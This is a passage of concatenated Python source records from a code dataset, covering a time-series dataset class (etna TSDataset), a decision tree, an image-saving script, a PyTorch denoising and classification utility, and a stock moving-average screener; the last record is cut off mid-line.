start_time=\"2021-06-01\",\n        ...    n_segments=2, scale=1\n        ... )\n        >>> df_regressors = pd.DataFrame({\n        ...     \"timestamp\": list(pd.date_range(\"2021-06-01\", periods=40))*2,\n        ...     \"regressor_1\": np.arange(80), \"regressor_2\": np.arange(80) + 5,\n        ...     \"segment\": [\"segment_0\"]*40 + [\"segment_1\"]*40\n        ... })\n        >>> df_ts_format = TSDataset.to_dataset(df)\n        >>> df_regressors_ts_format = TSDataset.to_dataset(df_regressors)\n        >>> ts = TSDataset(df_ts_format, \"D\", df_exog=df_regressors_ts_format)\n        >>> ts.make_future(4)\n        segment      segment_0                      segment_1\n        feature    regressor_1 regressor_2 target regressor_1 regressor_2 target\n        timestamp\n        2021-07-01          30          35    nan          70          75    nan\n        2021-07-02          31          36    nan          71          76    nan\n        2021-07-03          32          37    nan          72          77    nan\n        2021-07-04          33          38    nan          73          78    nan\n        \"\"\"\n        max_date_in_dataset = self.df.index.max()\n        future_dates = pd.date_range(\n            start=max_date_in_dataset, periods=future_steps + 1, freq=self.freq, closed=\"right\"\n        )\n\n        new_index = self.raw_df.index.append(future_dates)\n        df = self.raw_df.reindex(new_index)\n        df.index.name = \"timestamp\"\n\n        if self.df_exog is not None:\n            df = self._merge_exog(df)\n\n            # check if we have enough values in regressors\n            if self.regressors:\n                for segment in self.segments:\n                    regressors_index = self.df_exog.loc[:, pd.IndexSlice[segment, self.regressors]].index\n                    if not np.all(future_dates.isin(regressors_index)):\n                        warnings.warn(\n                            f\"Some regressors don't have enough values in segment {segment}, \"\n                            f\"NaN-s will be used for missing values\"\n                        )\n\n        if self.transforms is not None:\n            for transform in self.transforms:\n                df = transform.transform(df)\n\n        futute_dataset = df.tail(future_steps).copy(deep=True)\n        futute_dataset = futute_dataset.sort_index(axis=1, level=(0, 1))\n        future_ts = TSDataset(futute_dataset, freq=self.freq)\n        future_ts.transforms = self.transforms\n        future_ts.df_exog = self.df_exog\n        return future_ts\n\n    @staticmethod\n    def _check_regressors(df: pd.DataFrame, df_exog: pd.DataFrame):\n        \"\"\"Check that regressors in df_exog begin not later than in df and end later than in df.\"\"\"\n        df_segments = df.columns.get_level_values(\"segment\")\n        for segment in df_segments:\n            target = df[segment][\"target\"].dropna()\n            exog_regressor_columns = [x for x in set(df_exog[segment].columns) if x.startswith(\"regressor\")]\n            for series in exog_regressor_columns:\n                exog_series = df_exog[segment][series].dropna()\n                if target.index.min() < exog_series.index.min():\n                    raise ValueError(\n                        f\"All the regressor series should start not later than corresponding 'target'.\"\n                        f\"Series {series} of segment {segment} have not enough history: \"\n                        f\"{target.index.min()} < {exog_series.index.min()}.\"\n                    )\n                if target.index.max() >= exog_series.index.max():\n                    raise ValueError(\n                        f\"All the regressor series should finish later than corresponding 'target'.\"\n                        f\"Series {series} of segment {segment} have not enough history: \"\n                        f\"{target.index.max()} >= {exog_series.index.max()}.\"\n                    )\n\n    def _merge_exog(self, df: pd.DataFrame) -> pd.DataFrame:\n        self._check_regressors(df=df, df_exog=self.df_exog)\n        df = pd.merge(df, self.df_exog, left_index=True, right_index=True, how=\"left\").sort_index(axis=1, level=(0, 1))\n        return df\n\n    def _check_endings(self):\n        \"\"\"Check that all targets ends at the same timestamp.\"\"\"\n        max_index = self.df.index.max()\n        for segment in self.df.columns.get_level_values(\"segment\"):\n            if np.isnan(self.df.loc[max_index, pd.IndexSlice[segment, \"target\"]]):\n                raise ValueError(f\"All segments should end at the same timestamp\")\n\n    def inverse_transform(self):\n        \"\"\"Apply inverse transform method of transforms to the data.\n        Applied in reversed order.\n        \"\"\"\n        if self.transforms is not None:\n            for transform in reversed(self.transforms):\n                self.df = transform.inverse_transform(self.df)\n\n    @property\n    def segments(self) -> List[str]:\n        \"\"\"Get list of all segments in dataset.\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_const_df\n        >>> df = generate_const_df(\n        ...    periods=30, start_time=\"2021-06-01\",\n        ...    n_segments=2, scale=1\n        ... )\n        >>> df_ts_format = TSDataset.to_dataset(df)\n        >>> ts = TSDataset(df_ts_format, \"D\")\n        >>> ts.segments\n        ['segment_0', 'segment_1']\n        \"\"\"\n        return self.df.columns.get_level_values(\"segment\").unique().tolist()\n\n    def _update_regressors(self):\n        result = set()\n        for column in self.columns.get_level_values(\"feature\"):\n            if column.startswith(\"regressor\"):\n                result.add(column)\n        self._regressors = list(result)\n\n    @property\n    def regressors(self) -> List[str]:\n        \"\"\"Get list of all regressors across all segments in dataset.\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_const_df\n        >>> df = generate_const_df(\n        ...    periods=30, start_time=\"2021-06-01\",\n        ...    n_segments=2, scale=1\n        ... )\n        >>> df_ts_format = TSDataset.to_dataset(df)\n        >>> regressors_timestamp = pd.date_range(start=\"2021-06-01\", periods=50)\n        >>> df_regressors_1 = pd.DataFrame(\n        ...     {\"timestamp\": regressors_timestamp, \"regressor_1\": 1, \"segment\": \"segment_0\"}\n        ... )\n        >>> df_regressors_2 = pd.DataFrame(\n        ...     {\"timestamp\": regressors_timestamp, \"regressor_1\": 2, \"segment\": \"segment_1\"}\n        ... )\n        >>> df_exog = pd.concat([df_regressors_1, df_regressors_2], ignore_index=True)\n        >>> df_exog_ts_format = TSDataset.to_dataset(df_exog)\n        >>> ts = TSDataset(df_ts_format, df_exog=df_exog_ts_format, freq=\"D\")\n        >>> ts.regressors\n        ['regressor_1']\n        \"\"\"\n        return self._regressors\n\n    def plot(\n        self, n_segments: int = 10, column: str = \"target\", segments: Optional[Sequence[str]] = None, seed: int = 1\n    ):\n        \"\"\"Plot of random or chosen segments.\n\n        Parameters\n        ----------\n        n_segments:\n            number of random segments to plot\n        column:\n            feature to plot\n        segments:\n            segments to plot\n        seed:\n            seed for local random state\n        \"\"\"\n        if not segments:\n            segments = self.segments\n        k = min(n_segments, len(segments))\n        columns_num = min(2, k)\n        rows_num = math.ceil(k / columns_num)\n        _, ax = plt.subplots(rows_num, columns_num, figsize=(20, 5 * rows_num), squeeze=False)\n        ax = ax.ravel()\n        rnd_state = np.random.RandomState(seed)\n        for i, segment in enumerate(sorted(rnd_state.choice(segments, size=k, replace=False))):\n            df_slice = self[:, segment, column]\n            ax[i].plot(df_slice.index, df_slice.values)\n            ax[i].set_title(segment)\n\n        plt.show()\n\n    @staticmethod\n    def to_flatten(df: pd.DataFrame) -> pd.DataFrame:\n        \"\"\"Return pandas DataFrame with flatten index.\n\n        Parameters\n        ----------\n        df:\n            DataFrame in ETNA format.\n\n        Returns\n        -------\n        pd.DataFrame\n            with TSDataset data\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_const_df\n        >>> df = generate_const_df(\n        ...    periods=30, start_time=\"2021-06-01\",\n        ...    n_segments=2, scale=1\n        ... )\n        >>> df.head(5)\n            timestamp    segment  target\n        0  2021-06-01  segment_0    1.00\n        1  2021-06-02  segment_0    1.00\n        2  2021-06-03  segment_0    1.00\n        3  2021-06-04  segment_0    1.00\n        4  2021-06-05  segment_0    1.00\n        >>> df_ts_format = TSDataset.to_dataset(df)\n        >>> TSDataset.to_flatten(df_ts_format).head(5)\n           timestamp  target    segment\n        0 2021-06-01     1.0  segment_0\n        1 2021-06-02     1.0  segment_0\n        2 2021-06-03     1.0  segment_0\n        3 2021-06-04     1.0  segment_0\n        4 2021-06-05     1.0  segment_0\n        \"\"\"\n        aggregator_list = []\n        category = []\n        segments = df.columns.get_level_values(\"segment\").unique().tolist()\n        for segment in segments:\n            if df[segment].select_dtypes(include=[\"category\"]).columns.to_list():\n                category.extend(df[segment].select_dtypes(include=[\"category\"]).columns.to_list())\n            aggregator_list.append(df[segment].copy())\n            aggregator_list[-1][\"segment\"] = segment\n        df = pd.concat(aggregator_list)\n        df = df.reset_index()\n        category = list(set(category))\n        df[category] = df[category].astype(\"category\")\n        df.columns.name = None\n        return df\n\n    def to_pandas(self, flatten: bool = False) -> pd.DataFrame:\n        \"\"\"Return pandas DataFrame.\n\n        Parameters\n        ----------\n        flatten:\n            If False return pd.DataFrame with multiindex\n            if True with flatten index\n\n        Returns\n        -------\n        pd.DataFrame\n            with TSDataset data\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_const_df\n        >>> df = generate_const_df(\n        ...    periods=30, start_time=\"2021-06-01\",\n        ...    n_segments=2, scale=1\n        ... )\n        >>> df.head(5)\n            timestamp    segment  target\n        0  2021-06-01  segment_0    1.00\n        1  2021-06-02  segment_0    1.00\n        2  2021-06-03  segment_0    1.00\n        3  2021-06-04  segment_0    1.00\n        4  2021-06-05  segment_0    1.00\n        >>> df_ts_format = TSDataset.to_dataset(df)\n        >>> ts = TSDataset(df_ts_format, \"D\")\n        >>> ts.to_pandas(True).head(5)\n           timestamp  target    segment\n        0 2021-06-01     1.0  segment_0\n        1 2021-06-02     1.0  segment_0\n        2 2021-06-03     1.0  segment_0\n        3 2021-06-04     1.0  segment_0\n        4 2021-06-05     1.0  segment_0\n        >>> ts.to_pandas(False).head(5)\n        segment    segment_0 segment_1\n        feature       target    target\n        timestamp\n        2021-06-01      1.00      1.00\n        2021-06-02      1.00      1.00\n        2021-06-03      1.00      1.00\n        2021-06-04      1.00      1.00\n        2021-06-05      1.00      1.00\n        \"\"\"\n        if not flatten:\n            return self.df.copy()\n        return self.to_flatten(self.df)\n\n    @staticmethod\n    def to_dataset(df: pd.DataFrame) -> pd.DataFrame:\n        \"\"\"Convert pandas dataframe to ETNA Dataset format.\n\n        Parameters\n        ----------\n        df:\n            DataFrame with columns [\"timestamp\", \"segment\"]. Other columns considered features.\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_const_df\n        >>> df = generate_const_df(\n        ...    periods=30, start_time=\"2021-06-01\",\n        ...    n_segments=2, scale=1\n        ... )\n        >>> df.head(5)\n           timestamp    segment  target\n        0 2021-06-01  segment_0    1.00\n        1 2021-06-02  segment_0    1.00\n        2 2021-06-03  segment_0    1.00\n        3 2021-06-04  segment_0    1.00\n        4 2021-06-05  segment_0    1.00\n        >>> df_ts_format = TSDataset.to_dataset(df)\n        >>> df_ts_format.head(5)\n        segment    segment_0 segment_1\n        feature       target    target\n        timestamp\n        2021-06-01      1.00      1.00\n        2021-06-02      1.00      1.00\n        2021-06-03      1.00      1.00\n        2021-06-04      1.00      1.00\n        2021-06-05      1.00      1.00\n\n        >>> df_regressors = pd.DataFrame({\n        ...     \"timestamp\": pd.date_range(\"2021-01-01\", periods=10),\n        ...     \"regressor_1\": np.arange(10), \"regressor_2\": np.arange(10) + 5,\n        ...     \"segment\": [\"segment_0\"]*10\n        ... })\n        >>> TSDataset.to_dataset(df_regressors).head(5)\n        segment      segment_0\n        feature    regressor_1 regressor_2\n        timestamp\n        2021-01-01           0           5\n        2021-01-02           1           6\n        2021-01-03           2           7\n        2021-01-04           3           8\n        2021-01-05           4           9\n        \"\"\"\n        df[\"timestamp\"] = pd.to_datetime(df[\"timestamp\"])\n        feature_columns = df.columns.tolist()\n        feature_columns.remove(\"timestamp\")\n        feature_columns.remove(\"segment\")\n        df = df.pivot(index=\"timestamp\", columns=\"segment\")\n        df = df.reorder_levels([1, 0], axis=1)\n        df.columns.names = [\"segment\", \"feature\"]\n        df = df.sort_index(axis=1, level=(0, 1))\n        return df\n\n    def _find_all_borders(\n        self,\n        train_start: Optional[TTimestamp],\n        train_end: Optional[TTimestamp],\n        test_start: Optional[TTimestamp],\n        test_end: Optional[TTimestamp],\n        test_size: Optional[int],\n    ) -> Tuple[TTimestamp, TTimestamp, TTimestamp, TTimestamp]:\n        \"\"\"Find borders for train_test_split if some values wasn't specified.\"\"\"\n        if test_end is not None and test_start is not None and test_size is not None:\n            warnings.warn(\n                \"test_size, test_start and test_end cannot be applied at the same time. test_size will be ignored\"\n            )\n\n        if test_end is None:\n            if test_start is not None and test_size is not None:\n                test_start_idx = self.df.index.get_loc(test_start)\n                if test_start_idx + test_size > len(self.df.index):\n                    raise ValueError(\n                        f\"test_size is {test_size}, but only {len(self.df.index) - test_start_idx} available with your test_start\"\n                    )\n                test_end_defined = self.df.index[test_start_idx + test_size]\n            elif test_size is not None and train_end is not None:\n                test_start_idx = self.df.index.get_loc(train_end)\n                test_start = self.df.index[test_start_idx + 1]\n                test_end_defined = self.df.index[test_start_idx + test_size]\n            else:\n                test_end_defined = self.df.index.max()\n        else:\n            test_end_defined = test_end\n\n        if train_start is None:\n            train_start_defined = self.df.index.min()\n        else:\n            train_start_defined = train_start\n\n        if train_end is None and test_start is None and test_size is None:\n            raise ValueError(\"At least one of train_end, test_start or test_size should be defined\")\n\n        if test_size is None:\n            if train_end is None:\n                test_start_idx = self.df.index.get_loc(test_start)\n                train_end_defined = self.df.index[test_start_idx - 1]\n            else:\n                train_end_defined = train_end\n\n            if test_start is None:\n                train_end_idx = self.df.index.get_loc(train_end)\n                test_start_defined = self.df.index[train_end_idx + 1]\n            else:\n                test_start_defined = test_start\n        else:\n            if test_start is None:\n                test_start_idx = self.df.index.get_loc(test_end_defined)\n                test_start_defined = self.df.index[test_start_idx - test_size + 1]\n            else:\n                test_start_defined = test_start\n\n            if train_end is None:\n                test_start_idx = self.df.index.get_loc(test_start_defined)\n                train_end_defined = self.df.index[test_start_idx - 1]\n            else:\n                train_end_defined = train_end\n\n        if np.datetime64(test_start_defined) < np.datetime64(train_end_defined):\n            raise ValueError(\"The beginning of the test goes before the end of the train\")\n\n        return train_start_defined, train_end_defined, test_start_defined, test_end_defined\n\n    def train_test_split(\n        self,\n        train_start: Optional[TTimestamp] = None,\n        train_end: Optional[TTimestamp] = None,\n        test_start: Optional[TTimestamp] = None,\n        test_end: Optional[TTimestamp] = None,\n        test_size: Optional[int] = None,\n    ) -> Tuple[\"TSDataset\", \"TSDataset\"]:\n        \"\"\"Split given df with train-test timestamp indices or size of test set.\n        In case of inconsistencies between test_size and (test_start, test_end), test_size is ignored\n\n        Parameters\n        ----------\n        train_start:\n            start timestamp of new train dataset, if None first timestamp is used\n        train_end:\n            end timestamp of new train dataset, if None previous to test_start timestamp is used\n        test_start:\n            start timestamp of new test dataset, if None next to train_end timestamp is used\n        test_end:\n            end timestamp of new test dataset, if None last timestamp is used\n        test_size:\n            number of timestamps to use in test set\n\n        Returns\n        -------\n        train, test:\n            generated datasets\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_ar_df\n        >>> pd.options.display.float_format = '{:,.2f}'.format\n        >>> df = generate_ar_df(100, start_time=\"2021-01-01\", n_segments=3)\n        >>> df = TSDataset.to_dataset(df)\n        >>> ts = TSDataset(df, \"D\")\n        >>> train_ts, test_ts = ts.train_test_split(\n        ...     train_start=\"2021-01-01\", train_end=\"2021-02-01\",\n        ...     test_start=\"2021-02-02\", test_end=\"2021-02-07\"\n        ... )\n        >>> train_ts.df.tail(5)\n        segment    segment_0 segment_1 segment_2\n        feature       target    target    target\n        timestamp\n        2021-01-28     -2.06      2.03      1.51\n        2021-01-29     -2.33      0.83      0.81\n        2021-01-30     -1.80      1.69      0.61\n        2021-01-31     -2.49      1.51      0.85\n        2021-02-01     -2.89      0.91      1.06\n        >>> test_ts.df.head(5)\n        segment    segment_0 segment_1 segment_2\n        feature       target    target    target\n        timestamp\n        2021-02-02     -3.57     -0.32      1.72\n        2021-02-03     -4.42      0.23      3.51\n        2021-02-04     -5.09      1.02      3.39\n        2021-02-05     -5.10      0.40      2.15\n        2021-02-06     -6.22      0.92      0.97\n        \"\"\"\n        train_start_defined, train_end_defined, test_start_defined, test_end_defined = self._find_all_borders(\n            train_start, train_end, test_start, test_end, test_size\n        )\n\n        if pd.Timestamp(test_end_defined) > self.df.index.max():\n            warnings.warn(f\"Max timestamp in df is {self.df.index.max()}.\")\n        if pd.Timestamp(train_start_defined) < self.df.index.min():\n            warnings.warn(f\"Min timestamp in df is {self.df.index.min()}.\")\n\n        train_df = self.df[train_start_defined:train_end_defined][self.raw_df.columns]  # type: ignore\n        train_raw_df = self.raw_df[train_start_defined:train_end_defined]  # type: ignore\n        train = TSDataset(df=train_df, df_exog=self.df_exog, freq=self.freq)\n        train.raw_df = train_raw_df\n\n        test_df = self.df[test_start_defined:test_end_defined][self.raw_df.columns]  # type: ignore\n        test_raw_df = self.raw_df[train_start_defined:test_end_defined]  # type: ignore\n        test = TSDataset(df=test_df, df_exog=self.df_exog, freq=self.freq)\n        test.raw_df = test_raw_df\n\n        return train, test\n\n    @property\n    def index(self) -> pd.core.indexes.datetimes.DatetimeIndex:\n        \"\"\"Return TSDataset timestamp index.\n\n        Returns\n        -------\n        pd.core.indexes.datetimes.DatetimeIndex\n            timestamp index of TSDataset\n        \"\"\"\n        return self.df.index\n\n    @property\n    def columns(self) -> pd.core.indexes.multi.MultiIndex:\n        \"\"\"Return columns of self.df.\n\n        Returns\n        -------\n        pd.core.indexes.multi.MultiIndex\n            multindex of dataframe with target and features.\n        \"\"\"\n        return self.df.columns\n\n    @property\n    def loc(self) -> pd.core.indexing._LocIndexer:\n        \"\"\"Return self.df.loc method.\n\n        Returns\n        -------\n        pd.core.indexing._LocIndexer\n            dataframe with self.df.loc[...]\n        \"\"\"\n        return self.df.loc\n\n    def isnull(self) -> pd.DataFrame:\n        \"\"\"Return dataframe with flag that means if the correspondent object in self.df is null.\n\n        Returns\n        -------\n        pd.Dataframe\n            is_null dataframe\n        \"\"\"\n        return self.df.isnull()\n\n    def head(self, n_rows: int = 5) -> pd.DataFrame:\n        \"\"\"Return the first `n` rows.\n\n        Mimics pandas method.\n\n        This function returns the first `n` rows for the object based\n        on position. It is useful for quickly testing if your object\n        has the right type of data in it.\n        For negative values of `n`, this function returns all rows except\n        the last `n` rows, equivalent to ``df[:-n]``.\n\n        Parameters\n        ----------\n        n_rows:\n            number of rows to select.\n\n        Returns\n        -------\n        pd.DataFrame\n            the first `n` rows or 5 by default.\n        \"\"\"\n        return self.df.head(n_rows)\n\n    def tail(self, n_rows: int = 5) -> pd.DataFrame:\n        \"\"\"Return the last `n` rows.\n\n        Mimics pandas method.\n\n        This function returns last `n` rows from the object based on\n        position. It is useful for quickly verifying data, for example,\n        after sorting or appending rows.\n        For negative values of `n`, this function returns all rows except\n        the first `n` rows, equivalent to ``df[n:]``.\n\n        Parameters\n        ----------\n        n_rows:\n            number of rows to select.\n\n        Returns\n        -------\n        pd.DataFrame\n            the last `n` rows or 5 by default.\n\n        \"\"\"\n        return self.df.tail(n_rows)\n\n    def describe(\n        self,\n        percentiles: Optional[List[float]] = None,\n        include: Optional[Union[str, List[np.dtype]]] = None,\n        exclude: Optional[Union[str, List[np.dtype]]] = None,\n        datetime_is_numeric: bool = False,\n    ) -> pd.DataFrame:\n        \"\"\"Generate descriptive statistics.\n\n        Mimics pandas method.\n\n        Descriptive statistics include those that summarize the central\n        tendency, dispersion and shape of a\n        dataset's distribution, excluding ``NaN`` values.\n\n        Parameters\n        ----------\n        percentiles : list-like of numbers, optional\n            The percentiles to include in the output. All should\n            fall between 0 and 1. The default is\n            ``[.25, .5, .75]``, which returns the 25th, 50th, and\n            75th percentiles.\n        include : 'all', list-like of dtypes or None (default), optional\n            A white list of data types to include in the result. Ignored\n            for ``Series``. Here are the options:\n            - 'all' : All columns of the input will be included in the output.\n            - A list-like of dtypes : Limits the results to the\n              provided data types.\n              To limit the result to numeric types submit\n              ``numpy.number``. To limit it instead to object columns submit\n              the ``numpy.object`` data type. Strings\n              can also be used in the style of\n              ``select_dtypes`` (e.g. ``df.describe(include=['O'])``). To\n              select pandas categorical columns, use ``'category'``\n            - None (default) : The result will include all numeric columns.\n        exclude : list-like of dtypes or None (default), optional,\n            A black list of data types to omit from the result. Ignored\n            for ``Series``. Here are the options:\n            - A list-like of dtypes : Excludes the provided data types\n              from the result. To exclude numeric types submit\n              ``numpy.number``. To exclude object columns submit the data\n              type ``numpy.object``. Strings can also be used in the style of\n              ``select_dtypes`` (e.g. ``df.describe(include=['O'])``). To\n              exclude pandas categorical columns, use ``'category'``\n            - None (default) : The result will exclude nothing.\n        datetime_is_numeric : bool, default False\n            Whether to treat datetime dtypes as numeric. This affects statistics\n            calculated for the column. For DataFrame input, this also\n            controls whether datetime columns are included by default.\n\n        Returns\n        -------\n        pd.DataFrame\n            Summary statistics of the TSDataset provided.\n\n        \"\"\"\n        return self.df.describe(percentiles, include, exclude, datetime_is_numeric)\n","sub_path":"etna/datasets/tsdataset.py","file_name":"tsdataset.py","file_ext":"py","file_size_in_byte":31500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"184289527","text":"from Node import Node\n\nclass DecisionTree:\n  def __init__(self,population,attributes):\n    self.root = Node('',attributes,population)\n    self.root.parent = None\n    self.buildTree(self.root)\n  \n  def buildTree(self,node,child = 'root'):\n    if len(node.attributes) == 0 or node.entropy() == 0.0:#If either cannot branch anymore or there is no uncertainty\n      return\n\n    #Find best attribute to branch from\n    attr = ''\n    m = -1\n    highest_information_gain = -1\n    for a in node.attributes:\n      node.attr = a\n      node.extrema()\n      \n      highest_accuracy = -1\n      h_g = -1\n      best_margin = -1\n      \n      for margin in range(int(node.min),int(node.max)):\n        node.branch(float(margin))\n        if node.information_gain() > h_g:\n          h_g = node.information_gain()\n          best_margin = margin\n        \n      #Once you have the best margin, you can branch\n      node.branch(float(best_margin))\n      if node.information_gain() > highest_information_gain: #If branching using this attribute gives the most information/least entropy, save it\n        highest_information_gain = node.information_gain()\n        attr = node.attr\n        m = best_margin\n      \n    node.attr = attr\n    ##node.attr = node.attributes[0]\n    ##node.extrema()\n    ##m = (node.max +node.min)/2\n    node.branch(m)\n    #Remove the attribute from children nodes\n    for a in range(len(node.attributes)):\n      if node.attributes[a] is not node.attr:\n        node.children[0].attributes.append(node.attributes[a])\n        node.children[1].attributes.append(node.attributes[a])\n    #print 'Parent: {}'.format(node.attributes)\n    #print 'Children: {}'.format(node.children[0].attributes)\n    \n    self.buildTree(node.children[0],child = 'left')\n    self.buildTree(node.children[1],child = 'right')\n  \n  def decide_gender(self,person):\n    n = self.root\n    while n is not None:\n      attr = n.attr\n      #print attr\n      if not n.is_leaf() and hasattr(person,attr):\n        #print n.margin\n        margin = n.margin\n        val = getattr(person,attr)\n        if val<margin:\n          n = n.children[0]\n        else:\n          n = n.children[1]\n      else:\n        break\n    #print 'Reach end. There are {}males and {} females'.format(n.males,n.females)\n    if n.males > n.females:\n      return 1.0\n    else: return 0.0","sub_path":"lib/DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"472942527","text":"import sys \nimport numpy as np\nimport xarray as xr\n\nfrom os import listdir\nfrom os.path import isfile, join\n\narg_names = ['command', 'cmap', 'fname']\nargs = dict(zip(arg_names, sys.argv))\n\nprint(args)\nprint(\"hello from tony and the create_png_cmd app\")\n\nfrom playLib.pl_objects import Play\n\npl=Play()\n\nmypath='/mnt/ga-et-data/Cloud_Veg_ET/Data/ETO'\nfname = args['fname']\n\nfull_filename = mypath +'/' + fname\n\nary = np.load(full_filename)\n\nary = np.flip(ary, axis=0)\n\nary[(ary<0)]=0\n\namin = ary.min()\namax = ary.max()\n\nprint(amin, amax)\ndef normal(x):\n    global amin\n    global amax\n    x = (x+amin)/(amax-amin)\n    return x\n\nary = normal(ary)\n\nprint(ary.min(), ary.max())\n\ncmap=args['cmap']\noutput_file_name = './data/' + fname\npl.pl_create_png(output_file_name, ary, cmap=cmap)\n","sub_path":"01-notebooks/15-pickled-numpy-work/create_png_cmd.py","file_name":"create_png_cmd.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"571096528","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms\nimport datetime\nimport time\nimport csv\nfrom torchvision import models\nimport glob\nimport os, sys\nimport random\nimport shutil\nfrom PIL import Image\nimport cv2\nimport numpy as np\nimport KPN\n\n\ndef WriteMapping(txt_root, csv_root):\n    with open(csv_root, 'w', encoding='utf-8') as csv_f:\n        with open(txt_root, encoding=\"UTF-8\") as txt_f:\n            for line in txt_f.readlines():\n                line = line.strip('\\n')  # 去掉列表中每一个元素的换行符\n                if(line != \"\"):\n                    list = line.split(' ', 4)\n                    id = list[0]\n                    code = list[1]\n                    csv_writer = csv.writer(csv_f)\n                    csv_writer.writerow([id,code])\n            txt_f.close()\n        csv_f.close()\n\ndef ReadMapping(csv_root):\n    with open(csv_root,\"r\",encoding='utf-8') as csv_f:\n\n        csv_f.close()\n\ndef CopyImage(root, target):\n    dirs = os.listdir(root)  # 列出所有图像的名称\n    num = 5000\n    sample = random.sample(dirs, num)\n    print(sample)\n    for name in sample:\n        if os.path.exists(root + name):\n            shutil.copy(root + name, target + name)\n        else:\n            continue\n\ndef Resize(root):\n    path_to_images = root\n    all_images = glob.glob(path_to_images + '*')\n    for i, image_file in enumerate(all_images):\n        im = Image.open(image_file)\n        im = im.resize((224, 224), resample=Image.LANCZOS)\n        im.save(image_file)\n        if i % 500 == 0:\n            print(i)\n\ndef Save_Image(dir,image):\n    image = image.permute(1, 2, 0).cpu().detach().numpy()\n    image = image * [0.5, 0.5, 0.5] + [0.5, 0.5, 0.5]\n    image = image * 255.0\n    image = np.clip(image, 0, 255)\n    image = image.astype(np.uint8)\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n    cv2.imwrite(dir, image)\n\ndef Save_NoiseAndDenoise_Image(root_dir, noise_dir, denoise_dir, load_model_dir):\n    net = KPN.KPN().cuda()\n    net.load_state_dict(torch.load(load_model_dir))\n    net.eval()\n    data_transforms = transforms.Compose([\n        # transforms.Resize(256),\n        # transforms.RandomResizedCrop(224),\n        transforms.ToTensor(),\n        transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n    ])\n\n    images = os.listdir(root_dir)\n    for i in range(len(images)):\n        img_path = os.path.join(root_dir, images[i])\n        img = cv2.imread(img_path)\n        img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n        img = data_transforms(img)\n\n        noise_img = np.random.normal(0, 30, img.shape).astype(np.float32)\n        noise_img = noise_img / 255.0\n        noisy_img = img + noise_img\n        save_noise_path = os.path.join(noise_dir, images[i])\n        Save_Image(save_noise_path, noisy_img)\n\n        true_input = noisy_img.unsqueeze(0).cuda()\n        output = net(true_input, true_input)\n        denoise_img = output.squeeze(0)\n        save_denoise_path = os.path.join(denoise_dir, images[i])\n        Save_Image(save_denoise_path, denoise_img)\n\ndef Valiation(net, class_map_dir):\n    class_map = {}\n    with open(class_map_dir, 'r') as csv_f:\n        reader = csv.reader(csv_f, delimiter=',')\n        last_label = ''\n        for i, row in enumerate(reader):\n            id = row[0]\n            code = row[1]\n            class_map[code] = id\n\n\n\nif __name__ == '__main__':\n    # WriteMapping(\"C:/Users/lab-301/Desktop/1.txt\", \"C:/Users/lab-301/Desktop/classMap.csv\")\n\n    # rootDir = \"D:/mini_ImageNet/images/\"\n    # tarDir = \"D:/PycharmProjects/proc_images/samples/\"\n    # CopyImage(rootDir,tarDir)\n    # Resize(tarDir)\n\n    image_gt_dir = \"./image_gt\"\n    image_noisy_dir = \"./image_noisy\"\n    image_pred_dir = \"./image_pred\"\n    # load_model_dir = \"./KPNmodels/KPN_epoch20.pth\"\n    # Save_NoiseAndDenoise_Image(image_gt_dir, image_noisy_dir, image_pred_dir, load_model_dir)\n\n    net = models.resnet50(pretrained=True)\n    class_map_dir = \"./classMap.csv\"\n    Valiation(net, class_map_dir)\n\n","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"238275975","text":"# -*- coding:utf-8 -*-\n\nimport StockIO\nimport StockConfig\nimport StockIndicator\nimport numpy as np\nimport StockFilterWrapper\nimport StockAlgrithm\nimport StockFilter2\n\n@StockFilterWrapper.filtrate_stop_trade\ndef select(stock_list, x_position=-1, min_item=10):\n    \"\"\"\n    均线选股法\n    :param stock_list:\n    :param kline_type:\n    :param avg:\n    :return:\n    \"\"\"\n    result = []\n    for stock in stock_list:\n        try:\n            kline = StockIO.get_kline(stock.stock_code, kline_type=StockConfig.kline_type_day)\n        except:\n            continue\n        if kline.shape[0] < min_item:\n            continue\n        open = kline[:, 1].astype(np.float)\n        close = kline[:, 2].astype(np.float)\n        sma5, sma10, sma20 = StockIndicator.sma(kline, 5, 10, 20)\n        vb = StockIndicator.vibration(kline)\n        chg = StockIndicator.chg(kline)\n        chg_compress = StockAlgrithm.compress_array(chg)\n        if chg[x_position] < 0:\n            if sma5[x_position] > sma10[x_position] and  sma5[x_position] > sma20[x_position]:\n                if chg_compress[-2] + chg_compress[-1] > 0:\n                    print(stock)\n                    result.append(stock)\n\n    return result\n\n\nif __name__ == '__main__':\n    result={}\n    # for x in range(-10, 0):\n    #     print('x = ', x)\n    #     stock_list = select(StockIO.get_stock('sha'), x_position=x, kline_type=StockConfig.kline_type_week)\n    #     print(stock_list)\n    #\n    #     for stock in stock_list:\n    #         result[stock] = result.get(stock, 0) + 1\n    #\n    # with open('{}/{}'.format(StockConfig.path_stock, 'wsma10'), 'w', encoding='utf-8') as f:\n    #     for key in result:\n    #         if result[key] >= 7:\n    #             f.write(\"{},{}\\n\".format(key.stock_code, key.stock_name))\n    #\n    # print(sorted(result.items(), key=lambda d: d[1], reverse=True))\n    date = '2017-10-09'\n    position = StockIndicator.position(date, '000001')\n    stock_list = select(StockIO.get_stock('sza'), x_position=-1)\n    stock_list2 = select(StockIO.get_stock('sha'), x_position=-1)\n    stock_list = stock_list + stock_list2\n    print(len(stock_list))\n    with 